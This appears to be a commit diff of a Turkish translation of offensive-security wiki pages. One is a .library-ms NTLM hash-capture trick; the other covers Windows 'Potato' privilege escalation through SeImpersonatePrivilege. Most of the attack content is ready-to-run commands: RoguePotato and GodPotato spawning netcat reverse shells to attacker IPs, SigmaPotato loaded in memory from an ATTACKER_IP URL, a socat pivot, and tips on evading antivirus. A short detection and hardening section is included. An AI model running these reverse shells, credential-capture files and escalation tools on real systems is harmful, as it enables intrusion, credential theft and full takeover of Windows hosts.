<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
İşlem adımları
- Yukarıdaki XML ile .library-ms dosyasını oluşturun (IP/hostname'inizi ayarlayın).
- ZIP'leyin (on Windows: Send to → Compressed (zipped) folder) ve ZIP'i hedefe teslim edin.
- Bir NTLM capture listener çalıştırın ve kurbanın ZIP içinden .library-ms'i açmasını bekleyin.
## Referanslar
- [HTB Fluffy ZIP .libraryms auth leak (CVE202524071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Morphisec 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> [!TIP]
> A modern alternative frequently maintained in 20242025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
> 20242025'te sıkça güncellenen modern bir alternatif, bellek/içinde .NET reflection kullanımı ve genişletilmiş OS desteği ekleyen GodPotato'nın bir fork'u olan SigmaPotato'dur. Aşağıda hızlı kullanım örneğine ve References bölümündeki repoya bakın.
Related pages for background and manual techniques:
@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## Gereksinimler ve yaygın tuzaklar
## Gereksinimler ve sık karşılaşılan tuzaklar
Aşağıdaki tekniklerin tümü, impersonation yeteneğine sahip ayrıcalıklı bir servisi, aşağıdaki ayrıcalıklardan birine sahip bir bağlamdan kötüye kullanmaya dayanır:
Aşağıdaki tüm teknikler, SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege ayrıcalıklarından birine sahip bir bağlamdan impersonation-yapabilen ayrıcalıklı bir servisin kötüye kullanımına dayanır:
- SeImpersonatePrivilege (en yaygın) veya SeAssignPrimaryTokenPrivilege
- High integrity, token zaten SeImpersonatePrivilege içeriyorsa gerekli değildir (IIS AppPool, MSSQL gibi birçok servis hesabı için tipik).
- Token zaten SeImpersonatePrivilege içeriyorsa yüksek bütünlük gerekmez (IIS AppPool, MSSQL gibi birçok servis hesabı için tipiktir).
Ayrıcalıkları hızlıca kontrol edin:
Yetkileri hızlıca kontrol edin:
```cmd
whoami /priv | findstr /i impersonate
```
Operasyonel notlar:
- PrintSpoofer, Print Spooler servisinin çalışıyor olmasını ve yerel RPC uç noktası (spoolss) üzerinden erişilebilir olmasını gerektirir. PrintNightmare sonrası Spooler'ın devre dışı bırakıldığı sertleştirilmiş ortamlarda RoguePotato/GodPotato/DCOMPotato/EfsPotato tercih edin.
- RoguePotato, TCP/135 üzerinden erişilebilir bir OXID resolver gerektirir. Egress engelliyse bir redirector/port-forwarder kullanın (aşağıdaki örneğe bakın). Eski build'ler -f bayrağına ihtiyaç duyuyordu.
- EfsPotato/SharpEfsPotato MS-EFSR'i kötüye kullanır; eğer bir pipe engellenmişse alternatif pipe'ları deneyin (lsarpc, efsrpc, samr, lsass, netlogon).
- RpcBindingSetAuthInfo sırasında oluşan Error 0x6d3 genellikle bilinmeyen/desteklenmeyen bir RPC kimlik doğrulama servisini gösterir; farklı bir pipe/transport deneyin ya da hedef servisin çalıştığından emin olun.
- If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the accounts default privileges using FullPowers, then run a Potato. Example: `FullPowers.exe -c "cmd /c whoami /priv" -z`
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
## Hızlı Demo
@ -58,8 +59,8 @@ NULL
```
Notlar:
- Mevcut konsolda etkileşimli bir süreç başlatmak için -i, tek satırlık bir komut çalıştırmak için -c kullanabilirsiniz.
- Spooler service gerektirir. Devre dışıysa bu başarısız olur.
- -i kullanarak mevcut konsolda etkileşimli bir işlem başlatabilirsiniz veya -c ile tek satırlık bir komut çalıştırabilirsiniz.
- Spooler service gerektirir. Devre dışıysa, bu başarısız olur.
### RoguePotato
```bash
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
Eğer outbound 135 engellenmişse, redirector üzerinde socat ile OXID resolver'ı pivot edin:
Eğer outbound 135 engellenmişse, redirector'ınızda socat aracılığıyla OXID resolver üzerinde pivot yapın:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
İpucu: Bir pipe başarısız olursa veya EDR bunu engelliyorsa, diğer desteklenen pipe'leri deneyin:
İpucu: Eğer bir pipe başarısız olursa veya EDR bunu engellerse, diğer supported pipes'i deneyin:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -123,13 +124,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
Notlar:
- SeImpersonatePrivilege mevcut olduğunda Windows 8/8.111 ve Server 20122022'de çalışır.
- SeImpersonatePrivilege mevcut olduğunda Windows 8/8.111 ve Server 20122022 genelinde çalışır.
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan hizmet DCOM nesnelerini hedefleyen iki varyant sağlar. Sağlanan ikili dosyaları derleyin veya kullanın ve komutunuzu çalıştırın:
DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan servis DCOM nesnelerini hedefleyen iki varyant sunar. Sağlanan binaries'leri oluşturun veya kullanın ve komutunuzu çalıştırın:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (güncellenmiş GodPotato fork)
SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell reverse shell helper gibi modern kolaylıklar ekler.
SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell reverse shell yardımcı aracı gibi modern özellikler ekler.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -150,13 +151,13 @@ SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell
```
## Tespit ve sertleştirme notları
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
- Spooler sertleştirmesi: Gereksiz olduğu sunucularda Print Spooler servisini devre dışı bırakmak, spoolss aracılığıyla gerçekleşen PrintSpoofer-style yerel suistimalleri engeller.
- Hizmet hesabı sertleştirmesi: Özel servislere SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını en aza indirin. Mümkünse servisleri virtual accounts altında gerekli en düşük ayrıcalıklarla çalıştırmayı ve service SID ile write-restricted tokens kullanarak izole etmeyi düşünün.
- Network kontrolleri: Outbound TCP/135 trafiğini engellemek veya RPC endpoint mapper trafiğini kısıtlamak, bir internal redirector yoksa RoguePotato'yu bozabilir.
- EDR/AV: Bu araçların tamamı yaygın şekilde signatured. Kaynaktan yeniden derlemek, symbols/strings'i yeniden adlandırmak veya in-memory execution kullanmak tespiti azaltabilir ancak sağlam davranış tabanlı tespitleri aşmaz.
- Named pipe oluşturan süreçleri ve hemen ardından token-duplication API çağrıları ile CreateProcessAsUser/CreateProcessWithTokenW çağıran işlemleri izleyin. Sysmon yararlı telemetri sağlayabilir: Event ID 1 (process creation), 17/18 (named pipe created/connected) ve SYSTEM olarak çocuk süreçler başlatan komut satırları.
- Spooler sertleştirmesi: Gerekmeyen sunucularda Print Spooler hizmetini devre dışı bırakmak, spoolss üzerinden PrintSpoofer-style yerel zorlamaları engeller.
- Service account sertleştirmesi: Özel servislere SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını mümkün olduğunca azaltın. Servisleri gerektirdiği en düşük ayrıcalıklarla virtual account altında çalıştırmayı ve mümkünse service SID ve write-restricted tokenlarla izole etmeyi düşünün.
- Ağ kontrolleri: Outbound TCP/135i engellemek veya RPC endpoint mapper trafiğini kısıtlamak, dahili bir yönlendirici (redirector) yoksa RoguePotatoyu bozabilir.
- EDR/AV: Bu araçların çoğu yaygın imza tabanlı tespitlere sahiptir. Kaynaktan yeniden derleme, sembol/string isimlerini değiştirme veya bellek içi çalıştırma tespiti azaltabilir ama sağlam davranışsal tespitleri aşmaz.
## Referanslar
## References
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
@ -167,5 +168,7 @@ SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
- [FullPowers Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
{{#include ../../banners/hacktricks-training.md}}